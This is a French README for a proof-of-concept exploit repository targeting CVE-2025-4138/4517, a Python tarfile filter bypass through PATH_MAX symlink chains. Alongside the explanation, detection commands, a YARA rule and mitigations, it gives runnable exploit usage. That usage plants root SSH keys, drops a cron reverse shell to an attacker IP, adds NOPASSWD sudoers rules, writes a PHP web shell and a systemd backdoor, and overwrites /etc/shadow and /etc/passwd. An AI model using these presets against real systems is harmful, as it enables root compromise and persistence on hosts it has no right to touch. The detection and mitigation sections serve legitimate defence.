CVE-2025-4138 / CVE-2025-4517
_{Contournement du filtre tarfile de Python via l'évasion de lien symbolique PATH_MAX}

Écriture arbitraire de fichiers via l'extraction avec filter="data" / filter="tar"

License Stars Forks Last Commit

Table des matières

Aperçu
Détails de la vulnérabilité
Fonctionnement
Versions concernées
Modèle de code affecté
Installation
Utilisation
Preuve de concept — Vérification sécurisée
Analyse technique approfondie
Scénarios d'attaque réels
Détection
Atténuation
CVE associés
Chronologie
Références
Crédits
Avertissement
Licence

Aperçu

Une vulnérabilité critique dans le module tarfile de Python permet à un attaquant de contourner les filtres d'extraction ("data" et "tar") et d'écrire des fichiers arbitraires en dehors du répertoire d'extraction prévu. Lorsqu'un processus privilégié (par exemple, un script de sauvegarde au niveau root, un pipeline CI/CD ou un installateur de paquets) extrait une archive tar contrôlée par l'attaquant en utilisant le paramètre supposé sûr filter="data", cette exploitation réalise une écriture arbitraire complète de fichiers en tant que cet utilisateur privilégié — en escaladant généralement vers root.

La cause profonde est une bizarrerie comportementale dans os.path.realpath() : elle cesse silencieusement de résoudre les liens symboliques une fois que le chemin complètement développé dépasse PATH_MAX (4096 octets sur Linux, 1024 sur macOS). Le filtre tarfile repose sur realpath() pour les vérifications de sécurité, mais le noyau résout les liens symboliques indépendamment lors de l'extraction — créant une faille TOCTOU (Time-of-Check-to-Time-of-Use) qui permet l'évasion du répertoire.

Détails de la vulnérabilité

Fonctionnement```

                ┌───────────────────────────────────────────┐
                │         Malicious Tar Structure            │
                └───────────────────────────────────────────┘

Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX

ddd...ddd/              (directory, 247 chars)
a  →  ddd...ddd         (symlink,   1 char name → 247 char dir)
ddd...ddd/ddd...ddd/    (nested directory)
b  →  ddd...ddd         (symlink)
...  ×16 levels

Short path (symlinks):   a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p       ~31 chars
Resolved path (dirs):    ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/…      ~3968 chars
                                                           ↑ nearing PATH_MAX

Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving

a/b/c/…/p/lll…lll  →  ../../../../../../../../../../../../../../../../..
                        (16 levels of ".." — traverses back to extraction root)

┌─────────────────────────────────────────────────────────────────┐
│  os.path.realpath()  CANNOT expand this  →  filter says "OK" ✓ │
│  Linux kernel         DOES follow chain  →  actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘

Stage 3 ── Escape symlink resolves to arbitrary filesystem path

escape  →  <overflow_link>/../../../../../../../root

Stage 4 ── Create intermediate directories through the escape

escape/.ssh/            (directory, mode 0700 — created by tar extraction)

Stage 5 ── Write payload through the escaped symlink

escape/.ssh/authorized_keys  →  writes to /root/.ssh/authorized_keys  🔓

---

## Versions concernées

| Branche Python | Plage vulnérable | Version corrigée | Statut |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ Patched |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ Patched |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ Patched |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ Patched |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ Patched |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ End of Life |
| 3.14+ | Default filter changed to `"data"` | Check latest | ⚠️ Higher exposure |

> **Note :** Python 3.14+ a modifié le paramètre `filter` par défaut, passant d'aucun filtrage à `"data"`, ce qui signifie que les applications qui n'avaient auparavant aucun filtre (et étaient donc déjà non sécurisées) utilisent désormais le filtre vulnérable par défaut.

---

## Motif de code affecté

Toute application effectuant cela sur une version vulnérable de Python est exploitable :

filter=...```python
import tarfile

# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")

# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="tar")

Occurrences courantes dans le monde réel :

Scripts de sauvegarde/restauration s'exécutant en tant que root
Pipelines CI/CD extrayant des artefacts de build
Gestionnaires de paquets et installateurs traitant des distributions .tar
Applications web acceptant des archives téléchargées par l'utilisateur
Gestion de configuration extrayant des bundles de déploiement

Installation```bash

git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC

No dependencies — uses only Python standard library

python3 exploit.py --help

**Requis :** Python 3.6+ (pour la création d’archives — la **cible** doit exécuter une version vulnérable)

---

## Utilisation

### Démarrage rapide — Injection de clé SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub   # verify key was created

# 2. Create the malicious tar archive
python3 exploit.py \
    --preset ssh-key \
    --payload ~/.ssh/id_ed25519.pub \
    --tar-out ./evil.tar

# 3. Deliver the tar and trigger privileged extraction
#    (method varies — backup script, upload endpoint, CI pipeline, etc.)
#    Example: sudo python3 vulnerable_app.py --extract evil.tar

# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target

Important : L'exploit crée automatiquement les répertoires intermédiaires (ex. /root/.ssh/) dans l'archive tar. Si le répertoire cible n'existe pas sur le système de fichiers, extractall() le créera lors de l'extraction.

Attaques prédéfinies

Reverse shell via cron (every minute)

python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar

Passwordless sudo for user "john"

python3 exploit.py --preset sudoers --extra john --tar-out evil.tar

SSH key with custom file mode

python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar

### Cible personnalisée

Écrire n'importe quel contenu vers n'importe quel chemin absolu sur le système de fichiers cible :```bash
# Overwrite MOTD
python3 exploit.py \
    --target /etc/motd \
    --payload "Authorized access only." \
    --mode 0644 \
    --tar-out evil.tar

# Plant a web shell
python3 exploit.py \
    --target /var/www/html/shell.php \
    --payload '<?php system($_GET["cmd"]); ?>' \
    --mode 0644 \
    --tar-out evil.tar

# Overwrite a systemd service for persistence
python3 exploit.py \
    --target /etc/systemd/system/backdoor.service \
    --payload backdoor.service \
    --mode 0644 \
    --tar-out evil.tar

Preuve de concept — Vérification sécurisée

Testez si un système est vulnérable sans toucher aux fichiers sensibles :```bash

1. Create isolated test environment

mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile

2. Generate PoC tar targeting the test file

python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar

3. Extract with filter="data" (simulating a vulnerable application)

python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "

4. Check result

cat /tmp/cve_test/flag/testfile

Vulnerable: "OVERWRITTEN_BY_CVE-2025-4138"

Patched: "original_content" (extraction raises error)

5. Cleanup

rm -rf /tmp/cve_test

### Vérification rapide de la version```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
    (v.minor == 12 and v.micro <= 10) or
    (v.minor == 13 and v.micro <= 3) or
    (v.minor == 11 and 4 <= v.micro <= 12) or
    (v.minor == 10 and 12 <= v.micro <= 17) or
    (v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"

Plongée technique approfondie

PATH_MAX et `os.path.realpath()`

Sur Linux, PATH_MAX est défini comme 4096 octets. Sur macOS, il est 1024 octets. Lorsque os.path.realpath() résout un chemin composant par composant et que le chemin résolu accumulé dépasse cette limite, il arrête silencieusement de résoudre les composants restants et les ajoute sous forme de chaînes littérales.``` os.path.realpath() behavior:

Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!

Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!

Il s'agit d'un comportement **documenté** de `realpath()`, mais l'implémentation du filtre tarfile n'en tenait pas compte.

### Construction de la chaîne de liens symboliques

Chaque niveau de la chaîne se compose de :

| Entrée | Type | Longueur du nom | Objectif |
|:--|:--|:--|:--|
| Répertoire | `DIRTYPE` | 247 caractères (Linux) / 55 caractères (macOS) | Un nom long gonfle le chemin résolu |
| Lien symbolique | `SYMTYPE` | 1 caractère (`a`, `b`, …, `p`) | Alias court pour le répertoire long |

Après 16 niveaux :

| Métrique | Valeur |
|:--|:--|
| **Chemin court** (via les liens symboliques) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 caractères |
| **Chemin résolu** (via les répertoires) | `ddd…/ddd…/ddd…/…` ≈ **3968 caractères** |
| **PATH_MAX** | 4096 octets |
| **Budget restant** | ~128 octets — pas assez pour la charge utile de traversée |

### Mécanisme de contournement du filtre

Le `data_filter` dans le module tarfile de Python effectue cette vérification :```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
    target = os.path.realpath(os.path.join(dest_path, member.linkname))
    if not target.startswith(dest_path):
        raise FilterError("link would escape destination")

The vulnerability:

realpath() reçoit : /extract/a/b/c/.../p/lll.../../../../../root/.ssh
realpath() résout la partie a/b/c/.../p via la chaîne de liens symboliques → 3968+ octets
PATH_MAX dépassé → le reste ../../../../root/.ssh est ajouté littéralement
Résultat : /extract/ddd…(3968 chars)…/../../../../root/.ssh
Vérification du filtre : commence par /extract/ → passe ✓
Extraction du noyau : suit les liens symboliques réels → résout ../ normalement → s'échappe vers /root
Création du répertoire : escape/.ssh est extrait en tant que répertoire → crée /root/.ssh/ (mode 0700)

Étapes d'exploitation```

┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘

---

## Scénarios d'attaque réels

### 1. Restauration de sauvegarde privilégiée

Un script de sauvegarde exécuté en tant que root extrait des archives tar fournies par l'utilisateur :```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")

Impact : Un attaquant fournit une sauvegarde malveillante → écrit une clé SSH dans /root/.ssh/authorized_keys → obtient un shell root.

2. Extraction d'artefacts de pipeline CI/CD

Un système de build extrait des artefacts de sources non fiables :```python

Jenkins/GitLab runner extracting build output

tar.extractall(path=workspace_dir, filter="data")

**Impact:** Un artefact malveillant s'échappe de l'espace de travail → écrase la configuration CI → exécute du code sur l'infrastructure de build.

### 3. Traitement des téléchargements d'applications web

Une application web accepte et extrait des téléchargements tar :```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")

Impact : Un attaquant distant télécharge un tar malveillant → écrit un shell web dans la racine du document → obtient une RCE.

4. Installation de paquets

Gestionnaires de paquets Python extrayant les distributions source :```python

pip/setuptools extracting sdist

tar.extractall(path=build_dir, filter="data")

**Impact :** Le paquet PyPI malveillant échappe au répertoire de build → modifie les fichiers système.

---

## Détection

### Indicateurs de compromission

Surveillez ces schémas qui peuvent indiquer une exploitation :```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
    xargs -I{} readlink {} | grep -c "^d\{200,\}"

# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/

# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape

Règle YARA```yara

rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }

---

## Atténuation

### 1. Mettre à niveau Python (Recommandé)```bash
# Check current version
python3 -c "import sys; print(sys.version)"

# Upgrade to patched version:
#   3.9.23+  |  3.10.18+  |  3.11.13+  |  3.12.11+  |  3.13.4+

2. Validation avant extraction (Solution de contournement)

Si une mise à niveau immédiate n'est pas possible :```python import pathlib import tarfile

def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")

### 3. Extraction en sandbox```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
    mount -t tmpfs tmpfs /mnt
    python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
    "
'

4. Outils d'extraction alternatifs```bash

Use GNU tar instead of Python tarfile

tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/

## CVE associées

| CVE | Description | Gravité |
|:--|:--|:--|
| **CVE-2025-4138** | Contournement du filtre de cible de lien symbolique via débordement de PATH_MAX | Critique |
| **CVE-2025-4517** | Écriture arbitraire de fichier via débordement de realpath (même cause racine) | Critique |
| **CVE-2025-4330** | Parcours de chemin par lien symbolique contournant les filtres d'extraction | Élevée |
| **CVE-2024-12718** | Modification des métadonnées de fichier en dehors du répertoire d'extraction | Élevée |
| **CVE-2025-4435** | Fichiers filtrés toujours extraits avec `errorlevel=0` | Moyenne |
| **CVE-2007-4559** | Parcours de chemin tarfile original (ère sans filtre) | Élevée |

Tous ont été traités dans [CPython Issue #135034](https://github.com/python/cpython/issues/135034) et [PR #135037](https://github.com/python/cpython/pull/135037).

---

## Chronologie

| Date | Événement |
|:--|:--|
| 2025-04-30 | Vulnérabilité signalée à l'équipe de réponse de sécurité de Python |
| 2025-06-02 | Problème public ouvert — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | Correctif fusionné — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | [Annonce de sécurité PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) publiée |
| 2025-06-03 | Versions corrigées : Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | Avis CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | Avis de recherche de sécurité Google [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | Divulgation complète |

---

## Références

- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — Avis de recherche de sécurité Google et PoC original
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — Rapport de bogue amont
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — Commit de correction
- [PSF Security Announcement](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — Avis officiel
- [Gist d'atténuation de Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — Script d'atténuation rapide
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [Documentation des filtres d'extraction `tarfile` de Python](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [Page de manuel Linux `realpath(3)`](https://man7.org/linux/man-pages/man3/realpath.3.html) — Comportement de PATH_MAX

---

## Crédits

- **Découverte de la vulnérabilité :** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **Auteurs du correctif :** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **Ce PoC :** [DesertDemon](https://github.com/DesertDemons)

---

## Avertissement

> **⚠️ Cet outil est fourni strictement pour des tests de sécurité autorisés, des recherches et des fins éducatives.**
>
> L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA), du Computer Misuse Act et de la législation équivalente dans le monde entier. Obtenez toujours une autorisation écrite explicite avant de tester tout système que vous ne possédez pas.
>
> L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. En utilisant cet outil, vous acceptez que vous êtes seul responsable de vos actions et que vous respecterez toutes les lois applicables.

---

**Tags :** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`

## Licence

Ce projet est sous licence [MIT License](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/main/LICENSE).

---

<p align="center">
  <sub>
    🔐 Si vous trouvez cela utile, pensez à mettre une étoile au dépôt<br>
    📫 Pour les demandes de divulgation responsable, ouvrez un problème ou contactez via GitHub
  </sub>
</p>

Identifiants CVE	CVE-2025-4138, CVE-2025-4517
CVSS v3.1	9.4 (Critique) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L`
CWE	CWE-22 — Limitation inappropriée d'un nom de chemin à un répertoire restreint
Type de vulnérabilité	Traversée de chemin via lien symbolique / contournement de filtre
Impact	Écriture arbitraire de fichiers → escalade de privilèges, évasion de sandbox, falsification de données
Vecteur d'attaque	Livrer une archive tar malveillante à toute application utilisant `tarfile.extractall()` avec des filtres
Affecté	Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3
Corrigé dans	Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4
Correctif	CPython PR #135037
Avis de sécurité	GHSA-hgqp-3mmf-7h8f
Rapporteur	Caleb Brown — Google Security Research

`ssh-key`	`/root/.ssh/authorized_keys`	Injecter une clé publique SSH pour la connexion root	—
`cron`	`/etc/cron.d/pwned`	Déposer une tâche cron de shell inversé root	Adresse IP LHOST
`sudoers`	`/etc/sudoers.d/pwned`	Ajouter une règle sudo NOPASSWD pour un utilisateur	Nom d'utilisateur
`shadow`	`/etc/shadow`	Écraser le fichier shadow (⚠️ destructeur)	—
`passwd`	`/etc/passwd`	Écraser le fichier passwd (⚠️ destructeur)	—

Populaires

CVE-2025-4138-4517-POC

CVE-2025-4138 / CVE-2025-4517Contournement du filtre tarfile de Python via l'évasion de lien symbolique PATH_MAX